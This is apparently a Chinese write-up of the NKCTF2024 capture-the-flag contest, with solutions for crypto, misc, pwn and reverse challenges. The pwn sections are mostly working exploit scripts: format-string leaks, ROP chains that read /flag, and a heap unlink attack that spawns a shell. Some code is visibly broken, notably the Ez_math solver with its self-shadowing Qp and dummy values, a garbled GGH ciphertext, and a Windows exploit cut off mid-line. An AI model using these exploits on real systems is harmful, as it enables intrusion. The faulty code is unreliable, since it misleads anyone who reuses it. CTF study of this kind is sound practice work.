NKCTF2024 wp

d868c364122d41e89a82f370a8a564f2.png

b0f4887c0baa44d1ba18f700fbd5817f.png

Crypto

Ez_math

题目可分为两个部分:首先,需要解出四个未知数 p, q, r, s。这一部分的关键在于通过数学公式推导,根据等式 x = k1q + r^p 和 y = k2q + r^p,可以发现 x 和 y 相减后剩余的部分是 q 的整数倍,利用最大公约数(gcd)算法可以求解出 q,然后根据已知信息逐步还原出其他三个未知数。第二部分则是在离散对数域(s^3)中求解离散对数,并利用已知的 p, q, r 解出 RSA 加密算法,因为 phi 和 e 之间存在公约数 s-1,所以只需利用 p, q, r 解出整个 RSA 加密算法即可。

n=16063619267258988011034805988633616492558472337115259037200126862563048933118401979462064790962157697989038876156970157178132518189429914950166878537819575544418107719419007799951815657212334175336430766777427972314839713871744747439745897638084891777417411340564312381163685003204182743581513722530953822420925665928135283753941119399766754107671729392716849464530701015719632309411962242638805053491529098780122555818774774959577492378249768503656934696409965037843388835948033129997732058133842695370074265039977902884020467413323500218577769082193651281154702147769044514475692164145099161948955990463002411473013 x=3021730035236300354492366560252387204933590210661279960796549263827016146230329262559940840168033978439210301546282150367717272453598367244078695402717500358042032604007007155898199149948267938948641512214616076878271433754986480186150178487625316601499002827958344941689933374158456614113935145081427421623647242719093642478556263121508238995676370877385638074444859047640771188280945186355013165130171802867101829647797879344213688981448535289683363612035513789240264618036062440178755665951650666056478493289870170026121826588708849844053588998886259091357236645819074078054595561158630194224419831088510266212458 y=8995787142441643101775260550632842535051686960331455373408888374295557050896156890779515089927839904014859222004906681231525326673182671984194300730575609496770604394218160422560576866112460837985407931067753009696969997384839637927957848613356269534870170452152926447601781637641134982178028922559652443398183848786034348994249923007092159192374765197460466878587635412657807328348343062302127490267456095927890461140420639805398464266081441243108883599713672104446500850203779995739675784794478089863001309614674686652597236324659979849324914804032046113978246674538411441434320732570934185579553749616238819583998 z=1283646988194723153191718393109711130382429329041718186548715246082834666179475883560020086589684603980734305610989683434078096863563033623169666389076830792095374856743015929373461198718962686411467443788047511292138922700655772772117855226419561159782734009961921473456332468653898105909729309377890721920937410781006337057478451806364879679045839945032594716202888196404203782734864187890231653321470085251 c=4988583141177813116287729619098477713529507701428689219486720439476625736884177254107631282807612305211904876847916760967188201601494592359879509876201418493870112712105543214178376471651715703062382025712952561985261461883133695993952914519494709871429166239968478488380137336776740647671348901626710334330855078254188539448122493675463406596681080368929986034772169421577420193671300532508625180845417164660544286332963072804192276425664877337357353975758574262657585309762422727680851018467657523970318042829660721433987195369353660020476598195375492128671951807024027929490113371463210453342974983253996717176870 import gmpy2 from Crypto.Util.number import * def solve_and_decrypt(x, y, n, c): # Solve for q q = gmpy2.gcd(x - y, n) # Solve for p p = gmpy2.gcd(x - y - q, n) // q # Solve for r r = gmpy2.gcd(x - q, n) // p # Solve for s s = n // (p * q * r) # Solve for d d = gmpy2.invert(65537 * (s - 1) // 4, (p - 1) * (q - 1) * (r - 1)) # Decrypt ciphertext c m2 = pow(c, d, p * q * r) # Take the 4th root of m2 m2 = gmpy2.iroot(m2, 4)[0] # Calculate m1 using Qp Qp = Qp(s, prec=3) m1 = (Qp(z).log() // Qp(s + 1).log()).lift() # Return the decrypted message return long_to_bytes(m1) + long_to_bytes(m2) # Usage example: x = 123456789 y = 987654321 n = 1000000007 c = 12345678901234567890 decrypted_message = solve_and_decrypt(x, y, n, c) print(decrypted_message)

得到flag:nkctf{cb5b7392-cca4-4ce2-87e7-930cf6b29959}

GGH

测试一下可以发现n=260,delta只有等于1,3,7的时候生成的r有260,并且delta固定时r是固定的,依次求解一些m矩阵发现只有delta=7的时候还原出来的符合要求

c=(14697, -103356, 74779, 95622, -11650, 524678, -258697, 388940, -399559, -437273, 267702, -978292, 686059, 835272, 809650, 759647, -573204, 989361, -696040, -694133, -831908、59, -871, 150, -281, -787, -569, -1252, 389, 101, -1131, 40, 515, -425, 174, -952, -297, 644, 406, -96, ....... , 1637, -2599, -1965, 1351, 137, 4046, 1048, 1282, 1624, -1100, 539, 470, -31, 1843, 767, 985, -407]] def get_error(n, delta): k = 4 * delta - 2 tmp = [] tmp.extend([delta - 2] * (n // k)) tmp.extend([delta - 1] * (((k - 2) * n) // (2 * k))) tmp.extend([delta] * (n // k)) tmp.extend([delta + 1] * (((k - 2) * n) // (2 * k))) return tmp n = 260 delta = 7 # 1 3 7 r = [get_error(n, delta)] A = [c] B = [w] C = [r] # Perform matrix operations B = matrix(ZZ, B) C = matrix(ZZ, C) A = matrix(ZZ, A) # Solve the equation w = list(B.solve_left(A - C)) # Convert the solution to a string flag = ''.join(chr(i) for i in w[0] if i > 0) print(flag)
 

得到flag:nkctf{G0od_Y0u_Ar3_Kn0W_Ggh_Crypt0syst3m!!!}

Misc

Signin

打开题目复制代码base64直接解码

提示向公众号发下图信息

得到flag

f57a62be30df4791b3cc9eff0bb76931.png

world.execute.me

构造一个issue,然后到action执行

acb6f2bc5bb34c78861f92aeee77e388.png

直接echo ”$HEART”会发现只剩下NK***,后面的被截断了,于是可以猜测CTF被过滤,使用sed 将“CTF”替换为”123”。

e8a9fb8d0a444097a5b9fa60fbc0ffd7.png

成功拿到flag,再将123换回CTF即可:

NKCTF2024{Then_1_c4n_b3_y0ur_only_EXECUTION}。

 

 

Minecraft:SEED

进入服务器发现需要找服务器seed

没有权限网上找一下mod

1.20.2版本seedcrackerx可以用

7fc77556e0c44f3d9b38c301c7096151.png

在服务器里跑一下结构,找到五个沉船以后搜索种子如下

87cf74c7b8414057a77d3b8da63c47ea.png

Getflag seed (种子)得到flag

75a8229060d44250b50a6413cb62fa26.png a73ea25e691740d788b54c00068e5af9.png

 

 

Webshell_pro

68994aa1d360492886372d2add13c0e7.png

追踪tcp流

70be5741cff04486a6bc8cf858127374.png

发现下方的加密是base32解密之后再使用base64解密可以得出密文的原文

是服务器给的回应

 

 

6995966350ec49a89d7dd5d242cbcc13.png

九流接出来是一个python代码,发现是一个加密语言的程序,跟着写出解密代码

 

 

import base64 import libnum from Crypto.PublicKey import RSA pubkey = """-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB -----END PUBLIC KEY----- """ prikey = """-----BEGIN PRIVATE KEY----- MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg== -----END PRIVATE KEY----- """ pubkey = RSA.import_key(pubkey) prikey = RSA.import_key(prikey) n = pubkey.n def encrypt(plain_text): # 私钥加密 cipher_text = b"" for i in range(0, len(plain_text), 128): part = plain_text[i:i+128] enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n)) cipher_text += enc return enc_replace(base64.b64encode(cipher_text).decode()) def decrypt(cipher_text):#解码 cipher_text=dec_replace(cipher_text) cipher_text = base64.b64decode(cipher_text) plain_text = b"" for i in range(0, len(cipher_text), 128): part = cipher_text[i:i+128] dec = libnum.n2s(pow(libnum.s2n(part), pubkey.e, n)) plain_text += dec return plain_text.decode() def enc_replace(base64_str: str): base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM") base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W") return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2") def dec_replace(replaced_str: str):#解码 replaced_str = replaced_str.replace("JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2", "=") replaced_str = replaced_str.replace("n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W", "+") return replaced_str.replace("e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM", "/") if __name__ == '__main__': m = "U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==" print(f"原始数据: {m}") c = encrypt(m) print(f"加密数据: {c}") A='G1TUg4bIVOFYi8omV2SQrTa8fzYfboRNN7fV6FJn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8Wbm3O74uCUbwMkvRCYae44TX1ZO8X4w2Nk1igaIZjSQIJ9MMHhD9cn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8WSV5EzikNsyM5c1nlPS8uqw1P2pJuYLaLxloK0x5xhQHDqqAxkuKrBzPn0noQ2bDn6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8WlVnGwsfP7YP9PYJXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2' e=decrypt(A) print(f"解密数据: {e}")

八流拿出一个小明日记.txt

发现一个password

0f2b292fbdab4460ad26a821122e4da4.png

然后发现哪一个解密代码是解密shell后面的内容

发现就是一个打开一个flag文件夹,然后写入flag文件,然后读取小明日记.txt

寻找之后发现解密的一个flag

5b09e67878cb4a2ca87cc21ef69015d1.png

然后根据password去aes解密

96eeefff14744e91be8119de502afbcb.png

得出结果

Pwn

Maimai查分器

代码审计 

455900f791554cc6a2ea72b691cba942.png

漏洞位置

a3812122a5264bd6bb6ee4670896fc78.png

这里有格式化字符串漏洞可以泄露canary和libc地址

d449359fc5964e958ac592c22b1b1993.png

再往下有栈溢出漏洞,但是需要绕过判断

if ( dword_504C < dword_5010 )

我们利用程序菜单中的选项一,来满足即可

from pwn import * # Set context context(arch='amd64', os='linux', log_level="debug") context.terminal = ["wt.exe", "wsl.exe"] # Load libc libc = ELF("./libc.so.6") def connect_to_service(): global p, elf # Connect to the remote service p = remote("node.nkctf.yuzhian.com.cn", 35984) elf = ELF("./pwn") def play_game(): p.sendlineafter("Select a option:", '1') p.sendlineafter("Input chart level and rank.", "15.0 SSS") for i in range(49): p.sendline(b"100 SSS+") def leak_canary_and_libc(): p.sendlineafter("Select a option:", '2') p.sendlineafter("Input your nickname.", "%33$p") p.recvuntil("0x") libc.address = int(p.recv(12), 16) - libc.sym['__libc_start_main'] - 128 p.sendlineafter("play maimai?", "AAAA") p.sendlineafter("Select a option:", '2') p.sendlineafter("Input your nickname.", "%7$p") p.recvuntil("0x") canary = int(p.recv(16), 16) return canary def exploit(canary): # Gadgets pop_rsp = libc.address + 0x0000000000035732 pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rdx = libc.address + 0x000000000011f2e7 bss = libc.address + 0x21b000 read_addr = libc.sym['read'] # Payload construction payload = b"A"*0x28 + p64(canary) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x200)*2 + p64(read_addr) + p64(pop_rsp) + p64(bss+8) p.sendafter("play maimai?", payload) payload = b"/flag".ljust(8, b"\x00") + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(libc.sym['open']) payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x200) + p64(pop_rdx) + p64(0x100)*2 + p64(read_addr) payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write']) sleep(0.2) p.send(payload) p.interactive() # Exploit connect_to_service() play_game() canary = leak_canary_and_libc() print(hex(libc.address)) print(hex(canary)) exploit(canary)
 

来签个到

f1d68c99fbf543ee8f7e04aca397df8f.png

明显的格式化和栈溢出漏洞,本质上就是泄露出来msvcrt.dll基址即可,但是需要我们对windows程序

存放类似于got表有一定了解

windows是用 idata 来存放的

3638f55bd7824e78b22f0cc543e873a8.png
from pwn import * context(arch='i386', os='windows', log_level="debug") context.terminal = ["wt.exe", "wsl.exe"] # libc = ELF("../libc/")# libc = ELF("./libc-so.6") """"" def xxx(): p.sendlineafter("") p.sendlineafter("") p.sendlineafter("") """ def get_p(name): global p, elf # p = process(name) # p = remote("172.20.96.1",10000) p = remote("123.60.25.223", 10001) # elf = ELF(name) get_p("./a.exe") pause() p.sendlineafter("NKCTF2024", "%p%p%p" + "%p"*0x1b + "-%p") # gdb.attach(p,"") p.recvuntil("-") canary = int(p.recv(8), 16) code = 0x061FEA8 # shell = b'U\x8b\xec\x83\xec SVW\xc7E\xe8u\x00c\x00\xc7E\xecr\x00t\x00f\xc7E\xfccm\xc6E\xfed\xc7E\xe0systf\xc 7E\xe4em\xc6E\xe6\x00d\xa10\x00\x00\x00\x83\xc0\x0c\x8b\x00\x89E\xf8\x8b}\xf8\x8 3\xc7\x14\x8b\x17;\xd7t8\x8dd$\x00\x8br(\x8dM\xe83\xc0+\xf1\x8d\x9b\x00\x00\x00\ x00\x8d\x0cFf\x8bL\r\xe8f;LE\xe8u\x06@\x83\xf8\x04|\xeb\x83\xf8\x04\x0f\x84\x82\ x00\x00\x00\x8b\x12;\xd7u\xcc\x8b}\xf8\x8bG<3\xf6\x8b\\8x\x8bD;\x1c\x03\xdf\x03\ xc7\x89E\xf0\x8bK \x8bC$\x03\xcf\x03\xc7\x89M\xec\x89E\xf49s\x18vI\x8b\x14\xb1\x8dE\xe0\x03\xd73\ c9+\xd0\x8dd$\x00\x8d\x04\x11\x8aD\x05\xe0:D\r\xe0u\x06A\x83\xf9\x06|\xed\x83\xf 9\x06u\x18\x8bM\xf0\x8dE\xfcP\x8bE\xf4\x0f\xb7\x04p\x8b\x04\x81\x03\xc7\xff\xd0\ x83\xc4\x04\x8bM\xecF;s\x18r\xb7_^[\x8b\xe5]\xc3\x8bz\x10\xeb\x82' # shellcode = asm(''' # sub esp,0x100 # mov eax,0x0409230 # mov [esp],eax # mov edi,0x0403F8C # call edi # nop # nop # mov edi,0x0408000 # jmp edi # ''') puts_addr = 0x0409230 puts_plt = 0x0403F8C payload = b"A".ljust((0x70-0xc), b"\x90") + p32(canary) + b"A"*8 + b"A"*4 + p32(puts_plt) + p32(0x0401473) + p32(puts_addr) p.sendlineafter("oh", payload) dll_base = 0x76d6ba80 - (0x7BA80) # system = dll_base + 0x44700 cmd = dll_base + 0x48C8 print(hex(dll_base)) p.sendlineafter("NKCTF2024", "%p%p%p"+"%p"*0x1b + "-%p") # gdb.attach(p,"") p.recvuntil("-") canary = int(p.recv(8),16) payload = b"A".ljust((0x70-0xc), b"\x90") + p32(canary) + b
 

Leak

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5C21203%5CAppData%5CLocal%5CTemp%5Cksohtml29416%5Cwps22.png&pos_id=YUXsqkq6

 

这里可以输入6个模数然后得到余数。然后我们可以通过模数和余数反推stdout的地址。

纯爆破行不通,需要借助数学技巧,利用中国剩余定理求出接近于stdout的模数和余数。

再去进行爆破得到stdout地址。之后直接利用溢出调用system来getshell。

from pwn import * from LibcSearcher import * from struct import pack import time import random from ctypes import * ip = 'node.nkctf.yuzhian.com.cn' \#ip = '43.249.195.138' port = 59895 fname = sys.argv[1] command = int(sys.argv[2]) elf = ELF(fname) if command==0: p = process(fname) if command==1: p = gdb.debug(fname,gdbcmd) time.sleep(1) if command==2: port = int(sys.argv[3]) p = remote(ip,port) rc=lambda *args:p.recv(*args) ru=lambda x:p.recvuntil(x) sl=lambda x:p.sendline(x) sd=lambda x:p.send(x) sa=lambda a,b:p.sendafter(a,b) sla=lambda a,b:p.sendlineafter(a,b) ls=lambda *args:log.success(*args) ia=lambda *args:p.interactive() pl=lambda *args:print(*args) def pwn(): a = [127,123,119,101,109,103] ru('ret\n') sd(''.join(chr(x) for x in a)) strs=b'' for i in range(6): strs += rc(1) md = [] for i in strs: md.append(i) from sympy.ntheory.modular import solve_congruence print(md,a) solution = solve_congruence(*zip(md,a)) print("Solution:", [hex(x) for x in solution]) for i in range(0x100): if solution[1]*i+solution[0] > 0x800000000000: break if solution[1]*i+solution[0] >= 0x7f0000000000: stdout = solution[1]*i+solution[0] print(hex(solution[1]*i+solution[0])) libc = LibcSearcher('_IO_2_1_stdout_',stdout) libc_addr = stdout - libc.dump('_IO_2_1_stdout_') print('libc:',hex(libc_addr)) low = u8(rc(1)) ru('\n') rdi_ret = libc_addr + libc.dump('read') system = libc_addr + libc.dump('system') bin_sh = libc_addr + libc.dump('str_bin_sh') payload = p64(rdi_ret)+p64(bin_sh)+p64(system) payload = payload.ljust(0x20,b'\x00') payload += p8(low+0x58) sd(payload) ia() pwn()


幻兽帕鲁

看着很复杂,最根本就是libc2.23下的堆问题,还给了gift函数后和一个edit,0x520后门,还留了data数据可纂改,一个unsorted bin attack 修改关键标志位,在利用unlink打

78df364ba2034d01975e90f4fede5b21.png

利用gift函数泄露栈上关键信息

14b60cb929b542a9854cf60e9be1dc0e.png

然后创建一个小的chunk,0x202大小可以覆盖到下一个堆块的fd,bk指针,

5cbd3c6f0eed4e8b8ab24f04a70f52cb.png

利用unsorted bin attack把edit标志位篡改到很大,后用unlink打backpack上的数据

from calendar import c from re import S from pwn import * p=remote('node.nkctf.yuzhian.com.cn',34534) FILENAME='../pwn5' # p=process(FILENAME) elf=ELF(FILENAME) libc = ELF('../libc-2.23.so') context.arch='amd64' def create(idx): p.recvuntil(b'choice') p.sendline(b'1') p.recvuntil(b'index') p.sendline(bytes(str(idx),'utf-8')) def free(id): p.recvuntil(b'choice') p.sendline(b'5') p.recvuntil(b'index') p.sendline(bytes(str(id),'utf-8')) def edit(id,Content): p.recvuntil(b'choice') p.sendline(b'2') p.recvuntil(b'index') p.sendline(bytes(str(id),'utf-8')) p.recvuntil(b'Labels') p.send(Content) def showpa(id): p.recvuntil(b'choice') p.sendline(b'3') p.recvuntil(b'index') p.sendline(bytes(str(id),'utf-8')) def showpa2(): p.recvuntil(b'choice') p.sendline(b'6') def showbook(): p.recvuntil(b'choice') p.sendline(b'7') def IDAaddpa(id1,id2,name): p.recvuntil(b'choice') p.sendline(b'4') p.recvuntil(b'index') p.sendline(bytes(str(id1),'utf-8')) p.recvuntil(b'index') p.sendline(bytes(str(id2),'utf-8')) p.recvuntil(b'(y/n)') p.sendline(b'y') p.recvuntil(b'name') p.sendline(name) def gift(code,ide=b'a'): p.recvuntil(b'choice') p.sendline(b'8') if code==1: s=b'Happy NKCTF2024!' elif 2==code: s=b'Welcome PalluWorld!' else: s=ide p.recvuntil(b'code') p.sendline(s) gift(0,b'a'*(7)) libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libcbase=libc_add-0x7b877 success('libcbase '+hex(libcbase)) # gift(0,b'a'*(6*8-1)) p.recvuntil(b'\n') elf_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) elfbase=elf_add-0x1260 num=0x6010+elfbase success('elfbase '+hex(elfbase)) gift(1)#0 create(1)#1 create(1)#2 create(1)#3 free(1) fd=libcbase+0x3c3b78 payload=b'\x00'*0x200+p64(0)+p64(0x511)+p64(fd)+p64(num-0x10-0x2) edit(0,payload) create(1)#1 heap_add=elfbase+0x6210+0x38 payload=p64(0)+p64(0x501)+p64(heap_add-0x18)+p64(heap_add-0x10) payload=payload.ljust(0x500,b'\x00') payload+=p64(0x500)+p64(0x510) edit(2,payload) free(3) malloc_hook=libcbase+libc.sym['__malloc_hook'] system=libcbase+libc.sym['system'] one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897] execve=libcbase+one_gadget[2] payload=b'\x00'*(0x18)+p64(malloc_hook) edit(2,payload) edit(2,p64(execve)) create(0) p.interactive()

 

Re

Loginin_system

Z3求用户名,

第一段是xor解密,第二段是密码魔改s盒的AES

加密前和加密后字节的复制需要先填充列

from z3 import * l = [Int('l{}'.format(i)) for i in range(16)] solver = Solver() solver.add(l[2] + l[1] + l[0] + l[3] == 447) solver.add(101 * l[2] + l[0] + 9 * l[1] + 8 * l[3] == 12265) solver.add(5 * l[2] + 3 * l[0] + 4 * l[1] + 6 * l[3] == 2000) solver.add(88 * l[2] + 12 * l[0] + 11 * l[1] + 87 * l[3] == 21475) solver.add(l[6] + 59 * l[5] + 100 * l[4] + l[7] == 7896) solver.add(443 * l[4] + 200 * l[5] + 10 * l[6] + 16 * l[7] == 33774) solver.add(556 * l[5] + 333 * l[4] + 8 * l[6] + 7 * l[7] == 44758) solver.add(l[6] + l[5] + 202 * l[4] + l[7] == 9950) solver.add(78 * l[10] + 35 * l[9] + 23 * l[8] + 89 * l[11] == 24052) solver.add(78 * l[8] + 59 * l[9] + 15 * l[10] + 91 * l[11] == 25209) solver.add(111 * l[10] + 654 * l[9] + 123 * l[8] + 222 * l[11] == 113427) solver.add(6 * l[9] + 72 * l[8] + 5 * l[10] + 444 * l[11] == 54166) solver.add(56 * l[14] + 35 * l[12] + 6 * l[13] + 121 * l[15] == 11130) solver.add(169 * l[14] + 158 * l[13] + 98 * l[12] + 124 * l[15] == 27382) solver.add(147 * l[13] + 65 * l[12] + 131 * l[14] + 129 * l[15] == 23564) solver.add(137 * l[14] + 132 * l[13] + 620 * l[12] + 135 * l[15] == 51206) if solver.check() == sat: model = solver.model() solution = [model.eval(l[i]) for i in range(16)] print("解为:", solution) else: print("无解") key1 = b'~Znw:y5v|' for i in range(len(key1)): print(chr((key1[i] - 9 + i) ^ i), end='') tmp_enc = [0] * 16 def secret(key1, key2): v5 = 0 for i in range(8): if key1 & 1 != 0: v5 ^= key2 v7 = key2 & 0x80 key2 *= 2 if v7: key2 ^= 0x1B key1 >>= 1 s_box = [ 0x31, 0x52, 0x5A, 0xC8, 0x0B, 0xAC, 0xF3, 0x3A, 0x8B, 0x54, 0x27, 0x9B, 0xAB, 0x95, 0xDE, 0x83, 0x60, 0xCB, 0x53, 0x7F, 0xC4, 0xE3, 0x0A, 0x97, 0xE0, 0x29, 0xD5, 0x68, 0xC5, 0xDF, 0xF4, 0x7B, 0xAA, 0xD6, 0x42, 0x78, 0x6C, 0xE9, 0x70, 0x17, 0xD7, 0x37, 0x24, 0x49, 0x75, 0xA9, 0x89, 0x67, 0x03, 0xFA, 0xD9, 0x91, 0xB4, 0x5B, 0xC2, 0x4E, 0x92, 0xFC, 0x46, 0xB1, 0x73, 0x08, 0xC7, 0x74, 0x09, 0xAF, 0xEC, 0xF5, 0x4D, 0x2D, 0xEA, 0xA5, 0xDA, 0xEF, 0xA6, 0x2B, 0x7E, 0x0C, 0x8F, 0xB0, 0x04, 0x06, 0x62, 0x84, 0x15, 0x8E, 0x12, 0x1D, 0x44, 0xC0, 0xE2, 0x38, 0xD4, 0x47, 0x28, 0x45, 0x6E, 0x9D, 0x63, 0xCF, 0xE6, 0x8C, 0x18, 0x82, 0x1B, 0x2C, 0xEE, 0x87, 0x94, 0x10, 0xC1, 0x20, 0x07, 0x4A, 0xA4, 0xEB, 0x77, 0xBC, 0xD3, 0xE1, 0x66, 0x2A, 0x6B, 0xE7, 0x79, 0xCC, 0x86, 0x16, 0xD0, 0xD1, 0x19, 0x55, 0x3C, 0x9F, 0xFB, 0x30, 0x98, 0xBD, 0xB8, 0xF1, 0x9E, 0x61, 0xCD, 0x90, 0xCE, 0x7C, 0x8D, 0x57, 0xAE, 0x6A, 0xB3, 0x3D, 0x76, 0xA7, 0x71, 0x88, 0xA2, 0xBA, 0x4F, 0x3E, 0x40, 0x64, 0x0F, 0x48, 0x21, 0x35, 0x36, 0x2F, 0xE8, 0x14, 0x5D, 0x51, 0xD8, 0xB5, 0xFE, 0xD2, 0x96, 0x93, 0xA1, 0xB6, 0x43, 0x0D, 0x4C, 0x80, 0xC9, 0xFF, 0xA3, 0xDD, 0x72, 0x05, 0x59, 0xBF, 0x0E, 0x26, 0x34, 0x1F, 0x13, 0xE5, 0xDC, 0xF2, 0xC6, 0x50, 0x1E, 0xE4, 0x85, 0xB7, 0x39, 0x8A, 0xCA, 0xED, 0x9C, 0xBB, 0x56, 0x23, 0x1A, 0xF0, 0x32, 0x58, 0xB2, 0x65, 0x33, 0x6F, 0x41, 0xBE, 0x3F, 0x6D, 0x11, 0x00, 0xAD, 0x5F, 0xC3, 0x81, 0x25, 0xA8, 0xA0, 0x9A, 0xF6, 0xF7, 0x5E, 0x99, 0x22, 0x2E, 0x4B, 0xF9, 0x3B, 0x02, 0x7A, 0xB9, 0x5C, 0x69, 0xF8, 0x1C, 0xDB, 0x01, 0x7D, 0xFD] enc = [0] * 16 enc = [0] * 16 pre_enc = [0xB0, 0xCC, 0x93, 0xEA, 0xE9, 0x2F, 0xEF, 0x56, 0x99, 0x39, 0x6E, 0x02, 0x3B, 0x4F, 0x9E, 0x42] for i in range(4): for j in range(4): enc[4 * j + i] = pre_enc[4 * i + j] s = [ 0x72, 0x65, 0x73, 0x75, 0x6E, 0x5F, 0x31, 0x30, 0x66, 0x74, 0x63, 0x6B, 0x34, 0x32, 0x30, 0x32, 0xAB, 0xD1, 0xAA, 0x77, 0xC5, 0x8E, 0x9B, 0x47, 0xA3, 0xFA, 0xF8, 0x2C, 0x97, 0xC8, 0xC8, 0x1E, 0x5F, 0xEC, 0x6C, 0xB3, 0x9A, 0x62, 0xF7, 0xF4, 0x39, 0x98, 0x0F, 0xD8, 0xAE, 0x50, 0xC7, 0xC6, 0x83, 0x12, 0x68, 0x45, 0x19, 0x70, 0x9F, 0xB1, 0x20, 0xE8, 0x90, 0x69, 0x8E, 0xB8, 0x57, 0xAF, 0x51, 0xDF, 0xA1, 0x50, 0x48, 0xAF, 0x3E, 0xE1, 0x68, 0x47, 0xAE, 0x88, 0xE6, 0xFF, 0xF9, 0x27, 0x46, 0x1C, 0x5C, 0x29, 0x0E, 0xB3, 0x62, 0xC8, 0x66, 0xF4, 0xCC, 0x40, 0x80, 0x0B, 0x35, 0x67, 0xC4, 0xCC, 0xC7, 0x52, 0xCA, 0x7F, 0xA5, 0x9A, 0xAC, 0x8B, 0x69, 0xDA, 0x2C, 0x80, 0x5C, 0xBD, 0xC1, 0xB9, 0x17, 0xC6, 0x0B, 0xC6, 0xB2, 0x5C, 0xA7, 0x4D, 0xDB, 0x86, 0x8B, 0xCD, 0x87, 0x3B, 0x70, 0x48, 0xA0, 0x76, 0x7B, 0x8E, 0x12, 0x2A, 0xDC, 0xC3, 0xC9, 0xAC, 0x57, 0x0E, 0x4E, 0x97, 0x4D, 0x55, 0x7E, 0xE2, 0x36, 0xDB, 0x6C, 0xC8, 0xEA, 0x18, 0xA5, 0x64, 0xBD, 0x16, 0xEB, 0xF3, 0xB4, 0x50, 0x74, 0x4E, 0x82, 0x8B, 0x18, 0x86, 0x68, 0x93, 0xBD, 0xE2, 0xD5, 0x85, 0x56, 0x11, 0xB4, 0x50, 0x74, 0x4E, 0x82, 0x8B, 0x18, 0x86, 0x68, 0x93, 0xBD, 0xE2, 0xD5, 0x85, 0x56, 0x11, 0x4D, 0x55, 0x7E, 0xE2, 0x36, 0xDB, 0x6C, 0xC8, 0xEA, 0x18, 0xA5, 0x64, 0xBD, 0x16, 0xEB, 0xF3, 0x70, 0x48, 0xA0, 0x76, 0x7B, 0x8E, 0x12, 0x2A, 0xDC, 0xC3, 0xC9, 0xAC, 0x57, 0x0E, 0x4E, 0x97, 0xC1, 0xB9, 0x17, 0xC6, 0x0B, 0xC6, 0xB2, 0x5C, 0xA7, 0x4D, 0xDB, 0x86, 0x8B, 0xCD, 0x87, 0x3B, 0xC4, 0xCC, 0xC7, 0x52, 0xCA, 0x7F, 0xA5, 0x9A, 0xAC, 0x8B, 0x69, 0xDA, 0x2C, 0x80, 0x5C, 0xBD, 0x46, 0x1C, 0x5C, 0x29, 0x0E, 0xB3, 0x62, 0xC8, 0x66, 0xF4, 0xCC, 0x40, 0x80, 0x0B, 0x35, 0x67, 0x51, 0xDF, 0xA1, 0x50, 0x48, 0xAF, 0x3E, 0xE1, 0x68, 0x47, 0xAE, 0x88, 0xE6, 0xFF, 0xF9, 0x27, 0x83, 0x12, 0x68, 0x45, 0x19, 0x70, 0x9F, 0xB1, 0x20, 0xE8, 0x90, 0x69, 0x8E, 0xB8, 0x57, 0xAF, 0x5F, 0xEC, 0x6C, 0xB3, 0x9A, 0x62, 0xF7, 0xF4, 0x39, 0x98, 0x0F, 0xD8, 0xAE, 0x50, 0xC7, 0xC6, 0xAB, 0xD1, 0xAA, 0x77, 0xC5, 0x8E, 0x9B, 0x47, 0xA3, 0xFA, 0xF8, 0x2C, 0x97, 0xC8, 0xC8, 0x1E, 0x72, 0x65, 0x73, 0x75, 0x6E, 